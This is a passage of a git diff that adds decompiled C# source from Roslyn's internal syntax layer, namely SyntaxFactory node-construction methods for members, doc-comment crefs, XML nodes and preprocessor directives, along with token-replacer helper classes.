BlockSyntax? body, ArrowExpressionClauseSyntax? expressionBody, SyntaxToken? semicolonToken) + { + return new ConstructorDeclarationSyntax(SyntaxKind.ConstructorDeclaration, attributeLists.Node, modifiers.Node, identifier, parameterList, initializer, body, expressionBody, semicolonToken); + } + + public static ConstructorInitializerSyntax ConstructorInitializer(SyntaxKind kind, SyntaxToken colonToken, SyntaxToken thisOrBaseKeyword, ArgumentListSyntax argumentList) + { + if (kind - 8889 > SyntaxKind.List) + { + throw new ArgumentException("kind"); + } + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode((int)kind, (GreenNode)(object)colonToken, (GreenNode)(object)thisOrBaseKeyword, (GreenNode)(object)argumentList, ref num); + if (val != null) + { + return (ConstructorInitializerSyntax)(object)val; + } + ConstructorInitializerSyntax constructorInitializerSyntax = new ConstructorInitializerSyntax(kind, colonToken, thisOrBaseKeyword, argumentList); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)constructorInitializerSyntax, num); + } + return constructorInitializerSyntax; + } + + public static DestructorDeclarationSyntax DestructorDeclaration(SyntaxList attributeLists, SyntaxList modifiers, SyntaxToken tildeToken, SyntaxToken identifier, ParameterListSyntax parameterList, BlockSyntax? body, ArrowExpressionClauseSyntax? expressionBody, SyntaxToken? semicolonToken) + { + return new DestructorDeclarationSyntax(SyntaxKind.DestructorDeclaration, attributeLists.Node, modifiers.Node, tildeToken, identifier, parameterList, body, expressionBody, semicolonToken); + } + + public static PropertyDeclarationSyntax PropertyDeclaration(SyntaxList attributeLists, SyntaxList modifiers, TypeSyntax type, ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier, SyntaxToken identifier, AccessorListSyntax? accessorList, ArrowExpressionClauseSyntax? expressionBody, EqualsValueClauseSyntax? initializer, SyntaxToken? semicolonToken) + { + return new PropertyDeclarationSyntax(SyntaxKind.PropertyDeclaration, attributeLists.Node, modifiers.Node, type, explicitInterfaceSpecifier, identifier, accessorList, expressionBody, initializer, semicolonToken); + } + + public static ArrowExpressionClauseSyntax ArrowExpressionClause(SyntaxToken arrowToken, ExpressionSyntax expression) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8917, (GreenNode)(object)arrowToken, (GreenNode)(object)expression, ref num); + if (val != null) + { + return (ArrowExpressionClauseSyntax)(object)val; + } + ArrowExpressionClauseSyntax arrowExpressionClauseSyntax = new ArrowExpressionClauseSyntax(SyntaxKind.ArrowExpressionClause, arrowToken, expression); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)arrowExpressionClauseSyntax, num); + } + return arrowExpressionClauseSyntax; + } + + public static EventDeclarationSyntax EventDeclaration(SyntaxList attributeLists, SyntaxList modifiers, SyntaxToken eventKeyword, TypeSyntax type, ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier, SyntaxToken identifier, AccessorListSyntax? accessorList, SyntaxToken? semicolonToken) + { + return new EventDeclarationSyntax(SyntaxKind.EventDeclaration, attributeLists.Node, modifiers.Node, eventKeyword, type, explicitInterfaceSpecifier, identifier, accessorList, semicolonToken); + } + + public static IndexerDeclarationSyntax IndexerDeclaration(SyntaxList attributeLists, SyntaxList modifiers, TypeSyntax type, ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier, SyntaxToken thisKeyword, BracketedParameterListSyntax parameterList, AccessorListSyntax? accessorList, ArrowExpressionClauseSyntax? expressionBody, SyntaxToken? semicolonToken) + { + return new IndexerDeclarationSyntax(SyntaxKind.IndexerDeclaration, attributeLists.Node, modifiers.Node, type, explicitInterfaceSpecifier, thisKeyword, parameterList, accessorList, expressionBody, semicolonToken); + } + + public static AccessorListSyntax AccessorList(SyntaxToken openBraceToken, SyntaxList accessors, SyntaxToken closeBraceToken) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8895, (GreenNode)(object)openBraceToken, accessors.Node, (GreenNode)(object)closeBraceToken, ref num); + if (val != null) + { + return (AccessorListSyntax)(object)val; + } + AccessorListSyntax accessorListSyntax = new AccessorListSyntax(SyntaxKind.AccessorList, openBraceToken, accessors.Node, closeBraceToken); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)accessorListSyntax, num); + } + return accessorListSyntax; + } + + public static AccessorDeclarationSyntax AccessorDeclaration(SyntaxKind kind, SyntaxList attributeLists, SyntaxList modifiers, SyntaxToken keyword, BlockSyntax? body, ArrowExpressionClauseSyntax? expressionBody, SyntaxToken? semicolonToken) + { + if (kind - 8896 > (SyntaxKind)4 && kind != SyntaxKind.InitAccessorDeclaration) + { + throw new ArgumentException("kind"); + } + return new AccessorDeclarationSyntax(kind, attributeLists.Node, modifiers.Node, keyword, body, expressionBody, semicolonToken); + } + + public static ParameterListSyntax ParameterList(SyntaxToken openParenToken, SeparatedSyntaxList parameters, SyntaxToken closeParenToken) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8906, (GreenNode)(object)openParenToken, parameters.Node, (GreenNode)(object)closeParenToken, ref num); + if (val != null) + { + return (ParameterListSyntax)(object)val; + } + ParameterListSyntax parameterListSyntax = new ParameterListSyntax(SyntaxKind.ParameterList, openParenToken, parameters.Node, closeParenToken); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)parameterListSyntax, num); + } + return parameterListSyntax; + } + + public static BracketedParameterListSyntax BracketedParameterList(SyntaxToken openBracketToken, SeparatedSyntaxList parameters, SyntaxToken closeBracketToken) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8907, (GreenNode)(object)openBracketToken, parameters.Node, (GreenNode)(object)closeBracketToken, ref num); + if (val != null) + { + return (BracketedParameterListSyntax)(object)val; + } + BracketedParameterListSyntax bracketedParameterListSyntax = new BracketedParameterListSyntax(SyntaxKind.BracketedParameterList, openBracketToken, parameters.Node, closeBracketToken); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)bracketedParameterListSyntax, num); + } + return bracketedParameterListSyntax; + } + + public static ParameterSyntax Parameter(SyntaxList attributeLists, SyntaxList modifiers, TypeSyntax? type, SyntaxToken identifier, EqualsValueClauseSyntax? @default) + { + return new ParameterSyntax(SyntaxKind.Parameter, attributeLists.Node, modifiers.Node, type, identifier, @default); + } + + public static FunctionPointerParameterSyntax FunctionPointerParameter(SyntaxList attributeLists, SyntaxList modifiers, TypeSyntax type) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(9057, attributeLists.Node, modifiers.Node, (GreenNode)(object)type, ref num); + if (val != null) + { + return (FunctionPointerParameterSyntax)(object)val; + } + FunctionPointerParameterSyntax functionPointerParameterSyntax = new FunctionPointerParameterSyntax(SyntaxKind.FunctionPointerParameter, attributeLists.Node, modifiers.Node, type); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)functionPointerParameterSyntax, num); + } + return functionPointerParameterSyntax; + } + + public static IncompleteMemberSyntax IncompleteMember(SyntaxList attributeLists, SyntaxList modifiers, TypeSyntax? type) + { + return new IncompleteMemberSyntax(SyntaxKind.IncompleteMember, attributeLists.Node, modifiers.Node, type); + } + + public static SkippedTokensTriviaSyntax SkippedTokensTrivia(SyntaxList tokens) + { + return new SkippedTokensTriviaSyntax(SyntaxKind.SkippedTokensTrivia, tokens.Node); + } + + public static DocumentationCommentTriviaSyntax DocumentationCommentTrivia(SyntaxKind kind, SyntaxList content, SyntaxToken endOfComment) + { + if (kind - 8544 > SyntaxKind.List) + { + throw new ArgumentException("kind"); + } + return new DocumentationCommentTriviaSyntax(kind, content.Node, endOfComment); + } + + public static TypeCrefSyntax TypeCref(TypeSyntax type) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8597, (GreenNode)(object)type, ref num); + if (val != null) + { + return (TypeCrefSyntax)(object)val; + } + TypeCrefSyntax typeCrefSyntax = new TypeCrefSyntax(SyntaxKind.TypeCref, type); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)typeCrefSyntax, num); + } + return typeCrefSyntax; + } + + public static QualifiedCrefSyntax QualifiedCref(TypeSyntax container, SyntaxToken dotToken, MemberCrefSyntax member) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8598, (GreenNode)(object)container, (GreenNode)(object)dotToken, (GreenNode)(object)member, ref num); + if (val != null) + { + return (QualifiedCrefSyntax)(object)val; + } + QualifiedCrefSyntax qualifiedCrefSyntax = new QualifiedCrefSyntax(SyntaxKind.QualifiedCref, container, dotToken, member); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)qualifiedCrefSyntax, num); + } + return qualifiedCrefSyntax; + } + + public static NameMemberCrefSyntax NameMemberCref(TypeSyntax name, CrefParameterListSyntax? parameters) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8599, (GreenNode)(object)name, (GreenNode)(object)parameters, ref num); + if (val != null) + { + return (NameMemberCrefSyntax)(object)val; + } + NameMemberCrefSyntax nameMemberCrefSyntax = new NameMemberCrefSyntax(SyntaxKind.NameMemberCref, name, parameters); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)nameMemberCrefSyntax, num); + } + return nameMemberCrefSyntax; + } + + public static IndexerMemberCrefSyntax IndexerMemberCref(SyntaxToken thisKeyword, CrefBracketedParameterListSyntax? parameters) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8600, (GreenNode)(object)thisKeyword, (GreenNode)(object)parameters, ref num); + if (val != null) + { + return (IndexerMemberCrefSyntax)(object)val; + } + IndexerMemberCrefSyntax indexerMemberCrefSyntax = new IndexerMemberCrefSyntax(SyntaxKind.IndexerMemberCref, thisKeyword, parameters); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)indexerMemberCrefSyntax, num); + } + return indexerMemberCrefSyntax; + } + + public static OperatorMemberCrefSyntax OperatorMemberCref(SyntaxToken operatorKeyword, SyntaxToken? checkedKeyword, SyntaxToken operatorToken, CrefParameterListSyntax? parameters) + { + return new OperatorMemberCrefSyntax(SyntaxKind.OperatorMemberCref, operatorKeyword, checkedKeyword, operatorToken, parameters); + } + + public static ConversionOperatorMemberCrefSyntax ConversionOperatorMemberCref(SyntaxToken implicitOrExplicitKeyword, SyntaxToken operatorKeyword, SyntaxToken? checkedKeyword, TypeSyntax type, CrefParameterListSyntax? parameters) + { + return new ConversionOperatorMemberCrefSyntax(SyntaxKind.ConversionOperatorMemberCref, implicitOrExplicitKeyword, operatorKeyword, checkedKeyword, type, parameters); + } + + public static CrefParameterListSyntax CrefParameterList(SyntaxToken openParenToken, SeparatedSyntaxList parameters, SyntaxToken closeParenToken) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8603, (GreenNode)(object)openParenToken, parameters.Node, (GreenNode)(object)closeParenToken, ref num); + if (val != null) + { + return (CrefParameterListSyntax)(object)val; + } + CrefParameterListSyntax crefParameterListSyntax = new CrefParameterListSyntax(SyntaxKind.CrefParameterList, openParenToken, parameters.Node, closeParenToken); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)crefParameterListSyntax, num); + } + return crefParameterListSyntax; + } + + public static CrefBracketedParameterListSyntax CrefBracketedParameterList(SyntaxToken openBracketToken, SeparatedSyntaxList parameters, SyntaxToken closeBracketToken) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8604, (GreenNode)(object)openBracketToken, parameters.Node, (GreenNode)(object)closeBracketToken, ref num); + if (val != null) + { + return (CrefBracketedParameterListSyntax)(object)val; + } + CrefBracketedParameterListSyntax crefBracketedParameterListSyntax = new CrefBracketedParameterListSyntax(SyntaxKind.CrefBracketedParameterList, openBracketToken, parameters.Node, closeBracketToken); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)crefBracketedParameterListSyntax, num); + } + return crefBracketedParameterListSyntax; + } + + public static CrefParameterSyntax CrefParameter(SyntaxToken? refKindKeyword, SyntaxToken? readOnlyKeyword, TypeSyntax type) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8605, (GreenNode)(object)refKindKeyword, (GreenNode)(object)readOnlyKeyword, (GreenNode)(object)type, ref num); + if (val != null) + { + return (CrefParameterSyntax)(object)val; + } + CrefParameterSyntax crefParameterSyntax = new CrefParameterSyntax(SyntaxKind.CrefParameter, refKindKeyword, readOnlyKeyword, type); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)crefParameterSyntax, num); + } + return crefParameterSyntax; + } + + public static XmlElementSyntax XmlElement(XmlElementStartTagSyntax startTag, SyntaxList content, XmlElementEndTagSyntax endTag) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8574, (GreenNode)(object)startTag, content.Node, (GreenNode)(object)endTag, ref num); + if (val != null) + { + return (XmlElementSyntax)(object)val; + } + XmlElementSyntax xmlElementSyntax = new XmlElementSyntax(SyntaxKind.XmlElement, startTag, content.Node, endTag); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)xmlElementSyntax, num); + } + return xmlElementSyntax; + } + + public static XmlElementStartTagSyntax XmlElementStartTag(SyntaxToken lessThanToken, XmlNameSyntax name, SyntaxList attributes, SyntaxToken greaterThanToken) + { + return new XmlElementStartTagSyntax(SyntaxKind.XmlElementStartTag, lessThanToken, name, attributes.Node, greaterThanToken); + } + + public static XmlElementEndTagSyntax XmlElementEndTag(SyntaxToken lessThanSlashToken, XmlNameSyntax name, SyntaxToken greaterThanToken) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8576, (GreenNode)(object)lessThanSlashToken, (GreenNode)(object)name, (GreenNode)(object)greaterThanToken, ref num); + if (val != null) + { + return (XmlElementEndTagSyntax)(object)val; + } + XmlElementEndTagSyntax xmlElementEndTagSyntax = new XmlElementEndTagSyntax(SyntaxKind.XmlElementEndTag, lessThanSlashToken, name, greaterThanToken); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)xmlElementEndTagSyntax, num); + } + return xmlElementEndTagSyntax; + } + + public static XmlEmptyElementSyntax XmlEmptyElement(SyntaxToken lessThanToken, XmlNameSyntax name, SyntaxList attributes, SyntaxToken slashGreaterThanToken) + { + return new XmlEmptyElementSyntax(SyntaxKind.XmlEmptyElement, lessThanToken, name, attributes.Node, slashGreaterThanToken); + } + + public static XmlNameSyntax XmlName(XmlPrefixSyntax? prefix, SyntaxToken localName) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8581, (GreenNode)(object)prefix, (GreenNode)(object)localName, ref num); + if (val != null) + { + return (XmlNameSyntax)(object)val; + } + XmlNameSyntax xmlNameSyntax = new XmlNameSyntax(SyntaxKind.XmlName, prefix, localName); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)xmlNameSyntax, num); + } + return xmlNameSyntax; + } + + public static XmlPrefixSyntax XmlPrefix(SyntaxToken prefix, SyntaxToken colonToken) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8582, (GreenNode)(object)prefix, (GreenNode)(object)colonToken, ref num); + if (val != null) + { + return (XmlPrefixSyntax)(object)val; + } + XmlPrefixSyntax xmlPrefixSyntax = new XmlPrefixSyntax(SyntaxKind.XmlPrefix, prefix, colonToken); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)xmlPrefixSyntax, num); + } + return xmlPrefixSyntax; + } + + public static XmlTextAttributeSyntax XmlTextAttribute(XmlNameSyntax name, SyntaxToken equalsToken, SyntaxToken startQuoteToken, SyntaxList textTokens, SyntaxToken endQuoteToken) + { + return new XmlTextAttributeSyntax(SyntaxKind.XmlTextAttribute, name, equalsToken, startQuoteToken, textTokens.Node, endQuoteToken); + } + + public static XmlCrefAttributeSyntax XmlCrefAttribute(XmlNameSyntax name, SyntaxToken equalsToken, SyntaxToken startQuoteToken, CrefSyntax cref, SyntaxToken endQuoteToken) + { + return new XmlCrefAttributeSyntax(SyntaxKind.XmlCrefAttribute, name, equalsToken, startQuoteToken, cref, endQuoteToken); + } + + public static XmlNameAttributeSyntax XmlNameAttribute(XmlNameSyntax name, SyntaxToken equalsToken, SyntaxToken startQuoteToken, IdentifierNameSyntax identifier, SyntaxToken endQuoteToken) + { + return new XmlNameAttributeSyntax(SyntaxKind.XmlNameAttribute, name, equalsToken, startQuoteToken, identifier, endQuoteToken); + } + + public static XmlTextSyntax XmlText(SyntaxList textTokens) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8583, textTokens.Node, ref num); + if (val != null) + { + return (XmlTextSyntax)(object)val; + } + XmlTextSyntax xmlTextSyntax = new XmlTextSyntax(SyntaxKind.XmlText, textTokens.Node); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)xmlTextSyntax, num); + } + return xmlTextSyntax; + } + + public static XmlCDataSectionSyntax XmlCDataSection(SyntaxToken startCDataToken, SyntaxList textTokens, SyntaxToken endCDataToken) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8584, (GreenNode)(object)startCDataToken, textTokens.Node, (GreenNode)(object)endCDataToken, ref num); + if (val != null) + { + return (XmlCDataSectionSyntax)(object)val; + } + XmlCDataSectionSyntax xmlCDataSectionSyntax = new XmlCDataSectionSyntax(SyntaxKind.XmlCDataSection, startCDataToken, textTokens.Node, endCDataToken); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)xmlCDataSectionSyntax, num); + } + return xmlCDataSectionSyntax; + } + + public static XmlProcessingInstructionSyntax XmlProcessingInstruction(SyntaxToken startProcessingInstructionToken, XmlNameSyntax name, SyntaxList textTokens, SyntaxToken endProcessingInstructionToken) + { + return new XmlProcessingInstructionSyntax(SyntaxKind.XmlProcessingInstruction, startProcessingInstructionToken, name, textTokens.Node, endProcessingInstructionToken); + } + + public static XmlCommentSyntax XmlComment(SyntaxToken lessThanExclamationMinusMinusToken, SyntaxList textTokens, SyntaxToken minusMinusGreaterThanToken) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8585, (GreenNode)(object)lessThanExclamationMinusMinusToken, textTokens.Node, (GreenNode)(object)minusMinusGreaterThanToken, ref num); + if (val != null) + { + return (XmlCommentSyntax)(object)val; + } + XmlCommentSyntax xmlCommentSyntax = new XmlCommentSyntax(SyntaxKind.XmlComment, lessThanExclamationMinusMinusToken, textTokens.Node, minusMinusGreaterThanToken); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)xmlCommentSyntax, num); + } + return xmlCommentSyntax; + } + + public static IfDirectiveTriviaSyntax IfDirectiveTrivia(SyntaxToken hashToken, SyntaxToken ifKeyword, ExpressionSyntax condition, SyntaxToken endOfDirectiveToken, bool isActive, bool branchTaken, bool conditionValue) + { + return new IfDirectiveTriviaSyntax(SyntaxKind.IfDirectiveTrivia, hashToken, ifKeyword, condition, endOfDirectiveToken, isActive, branchTaken, conditionValue); + } + + public static ElifDirectiveTriviaSyntax ElifDirectiveTrivia(SyntaxToken hashToken, SyntaxToken elifKeyword, ExpressionSyntax condition, SyntaxToken endOfDirectiveToken, bool isActive, bool branchTaken, bool conditionValue) + { + return new ElifDirectiveTriviaSyntax(SyntaxKind.ElifDirectiveTrivia, hashToken, elifKeyword, condition, endOfDirectiveToken, isActive, branchTaken, conditionValue); + } + + public static ElseDirectiveTriviaSyntax ElseDirectiveTrivia(SyntaxToken hashToken, SyntaxToken elseKeyword, SyntaxToken endOfDirectiveToken, bool isActive, bool branchTaken) + { + return new ElseDirectiveTriviaSyntax(SyntaxKind.ElseDirectiveTrivia, hashToken, elseKeyword, endOfDirectiveToken, isActive, branchTaken); + } + + public static EndIfDirectiveTriviaSyntax EndIfDirectiveTrivia(SyntaxToken hashToken, SyntaxToken endIfKeyword, SyntaxToken endOfDirectiveToken, bool isActive) + { + return new EndIfDirectiveTriviaSyntax(SyntaxKind.EndIfDirectiveTrivia, hashToken, endIfKeyword, endOfDirectiveToken, isActive); + } + + public static RegionDirectiveTriviaSyntax RegionDirectiveTrivia(SyntaxToken hashToken, SyntaxToken regionKeyword, SyntaxToken endOfDirectiveToken, bool isActive) + { + return new RegionDirectiveTriviaSyntax(SyntaxKind.RegionDirectiveTrivia, hashToken, regionKeyword, endOfDirectiveToken, isActive); + } + + public static EndRegionDirectiveTriviaSyntax EndRegionDirectiveTrivia(SyntaxToken hashToken, SyntaxToken endRegionKeyword, SyntaxToken endOfDirectiveToken, bool isActive) + { + return new EndRegionDirectiveTriviaSyntax(SyntaxKind.EndRegionDirectiveTrivia, hashToken, endRegionKeyword, endOfDirectiveToken, isActive); + } + + public static ErrorDirectiveTriviaSyntax ErrorDirectiveTrivia(SyntaxToken hashToken, SyntaxToken errorKeyword, SyntaxToken endOfDirectiveToken, bool isActive) + { + return new ErrorDirectiveTriviaSyntax(SyntaxKind.ErrorDirectiveTrivia, hashToken, errorKeyword, endOfDirectiveToken, isActive); + } + + public static WarningDirectiveTriviaSyntax WarningDirectiveTrivia(SyntaxToken hashToken, SyntaxToken warningKeyword, SyntaxToken endOfDirectiveToken, bool isActive) + { + return new WarningDirectiveTriviaSyntax(SyntaxKind.WarningDirectiveTrivia, hashToken, warningKeyword, endOfDirectiveToken, isActive); + } + + public static BadDirectiveTriviaSyntax BadDirectiveTrivia(SyntaxToken hashToken, SyntaxToken identifier, SyntaxToken endOfDirectiveToken, bool isActive) + { + return new BadDirectiveTriviaSyntax(SyntaxKind.BadDirectiveTrivia, hashToken, identifier, endOfDirectiveToken, isActive); + } + + public static DefineDirectiveTriviaSyntax DefineDirectiveTrivia(SyntaxToken hashToken, SyntaxToken defineKeyword, SyntaxToken name, SyntaxToken endOfDirectiveToken, bool isActive) + { + return new DefineDirectiveTriviaSyntax(SyntaxKind.DefineDirectiveTrivia, hashToken, defineKeyword, name, endOfDirectiveToken, isActive); + } + + public static UndefDirectiveTriviaSyntax UndefDirectiveTrivia(SyntaxToken hashToken, SyntaxToken undefKeyword, SyntaxToken name, SyntaxToken endOfDirectiveToken, bool isActive) + { + return new UndefDirectiveTriviaSyntax(SyntaxKind.UndefDirectiveTrivia, hashToken, undefKeyword, name, endOfDirectiveToken, isActive); + } + + public static LineDirectiveTriviaSyntax LineDirectiveTrivia(SyntaxToken hashToken, SyntaxToken lineKeyword, SyntaxToken line, SyntaxToken? file, SyntaxToken endOfDirectiveToken, bool isActive) + { + return new LineDirectiveTriviaSyntax(SyntaxKind.LineDirectiveTrivia, hashToken, lineKeyword, line, file, endOfDirectiveToken, isActive); + } + + public static LineDirectivePositionSyntax LineDirectivePosition(SyntaxToken openParenToken, SyntaxToken line, SyntaxToken commaToken, SyntaxToken character, SyntaxToken closeParenToken) + { + return new LineDirectivePositionSyntax(SyntaxKind.LineDirectivePosition, openParenToken, line, commaToken, character, closeParenToken); + } + + public static LineSpanDirectiveTriviaSyntax LineSpanDirectiveTrivia(SyntaxToken hashToken, SyntaxToken lineKeyword, LineDirectivePositionSyntax start, SyntaxToken minusToken, LineDirectivePositionSyntax end, SyntaxToken? characterOffset, SyntaxToken file, SyntaxToken endOfDirectiveToken, bool isActive) + { + return new LineSpanDirectiveTriviaSyntax(SyntaxKind.LineSpanDirectiveTrivia, hashToken, lineKeyword, start, minusToken, end, characterOffset, file, endOfDirectiveToken, isActive); + } + + public static PragmaWarningDirectiveTriviaSyntax PragmaWarningDirectiveTrivia(SyntaxToken hashToken, SyntaxToken pragmaKeyword, SyntaxToken warningKeyword, SyntaxToken disableOrRestoreKeyword, SeparatedSyntaxList errorCodes, SyntaxToken endOfDirectiveToken, bool isActive) + { + return new PragmaWarningDirectiveTriviaSyntax(SyntaxKind.PragmaWarningDirectiveTrivia, hashToken, pragmaKeyword, warningKeyword, disableOrRestoreKeyword, errorCodes.Node, endOfDirectiveToken, isActive); + } + + public static PragmaChecksumDirectiveTriviaSyntax PragmaChecksumDirectiveTrivia(SyntaxToken hashToken, SyntaxToken pragmaKeyword, SyntaxToken checksumKeyword, SyntaxToken file, SyntaxToken guid, SyntaxToken bytes, SyntaxToken endOfDirectiveToken, bool isActive) + { + return new PragmaChecksumDirectiveTriviaSyntax(SyntaxKind.PragmaChecksumDirectiveTrivia, hashToken, pragmaKeyword, checksumKeyword, file, guid, bytes, endOfDirectiveToken, isActive); + } + + public static ReferenceDirectiveTriviaSyntax ReferenceDirectiveTrivia(SyntaxToken hashToken, SyntaxToken referenceKeyword, SyntaxToken file, SyntaxToken endOfDirectiveToken, bool isActive) + { + return new ReferenceDirectiveTriviaSyntax(SyntaxKind.ReferenceDirectiveTrivia, hashToken, referenceKeyword, file, endOfDirectiveToken, isActive); + } + + public static LoadDirectiveTriviaSyntax LoadDirectiveTrivia(SyntaxToken hashToken, SyntaxToken loadKeyword, SyntaxToken file, SyntaxToken endOfDirectiveToken, bool isActive) + { + return new LoadDirectiveTriviaSyntax(SyntaxKind.LoadDirectiveTrivia, hashToken, loadKeyword, file, endOfDirectiveToken, isActive); + } + + public static ShebangDirectiveTriviaSyntax ShebangDirectiveTrivia(SyntaxToken hashToken, SyntaxToken exclamationToken, SyntaxToken endOfDirectiveToken, bool isActive) + { + return new ShebangDirectiveTriviaSyntax(SyntaxKind.ShebangDirectiveTrivia, hashToken, exclamationToken, endOfDirectiveToken, isActive); + } + + public static NullableDirectiveTriviaSyntax NullableDirectiveTrivia(SyntaxToken hashToken, SyntaxToken nullableKeyword, SyntaxToken settingToken, SyntaxToken? targetToken, SyntaxToken endOfDirectiveToken, bool isActive) + { + return new NullableDirectiveTriviaSyntax(SyntaxKind.NullableDirectiveTrivia, hashToken, nullableKeyword, settingToken, targetToken, endOfDirectiveToken, isActive); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/SyntaxFactoryContext.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/SyntaxFactoryContext.cs new file mode 100644 index 0000000..30bffea --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/SyntaxFactoryContext.cs @@ -0,0 +1,10 @@ +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal class SyntaxFactoryContext +{ + internal bool IsInAsync; + + internal bool ForceConditionalAccessExpression; + + internal bool IsInQuery; +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/SyntaxFirstTokenReplacer.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/SyntaxFirstTokenReplacer.cs new file mode 100644 index 0000000..f9bee67 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/SyntaxFirstTokenReplacer.cs @@ -0,0 +1,57 @@ +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal class SyntaxFirstTokenReplacer : CSharpSyntaxRewriter +{ + private readonly SyntaxToken _oldToken; + + private readonly SyntaxToken _newToken; + + private readonly int _diagnosticOffsetDelta; + + private bool _foundOldToken; + + private SyntaxFirstTokenReplacer(SyntaxToken oldToken, SyntaxToken newToken, int diagnosticOffsetDelta) + { + _oldToken = oldToken; + _newToken = newToken; + _diagnosticOffsetDelta = diagnosticOffsetDelta; + _foundOldToken = false; + } + + internal static TRoot Replace(TRoot root, SyntaxToken oldToken, SyntaxToken newToken, int diagnosticOffsetDelta) where TRoot : CSharpSyntaxNode + { + return (TRoot)new SyntaxFirstTokenReplacer(oldToken, newToken, diagnosticOffsetDelta).Visit(root); + } + + public override CSharpSyntaxNode Visit(CSharpSyntaxNode node) + { + if (node != null && !_foundOldToken) + { + if (node is SyntaxToken) + { + _foundOldToken = true; + return _newToken; + } + return UpdateDiagnosticOffset(base.Visit(node), _diagnosticOffsetDelta); + } + return node; + } + + private static TSyntax UpdateDiagnosticOffset(TSyntax node, int diagnosticOffsetDelta) where TSyntax : CSharpSyntaxNode + { + DiagnosticInfo[] diagnostics = ((GreenNode)node).GetDiagnostics(); + if (diagnostics == null || diagnostics.Length == 0) + { + return node; + } + int num = diagnostics.Length; + DiagnosticInfo[] array = (DiagnosticInfo[])(object)new DiagnosticInfo[num]; + for (int i = 0; i < num; i++) + { + DiagnosticInfo val = diagnostics[i]; + SyntaxDiagnosticInfo syntaxDiagnosticInfo = val as SyntaxDiagnosticInfo; + array[i] = (DiagnosticInfo)(object)((syntaxDiagnosticInfo == null) ? ((SyntaxDiagnosticInfo)(object)val) : new SyntaxDiagnosticInfo(syntaxDiagnosticInfo.Offset + diagnosticOffsetDelta, syntaxDiagnosticInfo.Width, (ErrorCode)((DiagnosticInfo)syntaxDiagnosticInfo).Code, ((DiagnosticInfo)syntaxDiagnosticInfo).Arguments)); + } + return GreenNodeExtensions.WithDiagnosticsGreen(node, array); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/SyntaxLastTokenReplacer.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/SyntaxLastTokenReplacer.cs new file mode 100644 index 0000000..2da4b8c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/SyntaxLastTokenReplacer.cs @@ -0,0 +1,52 @@ +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal class 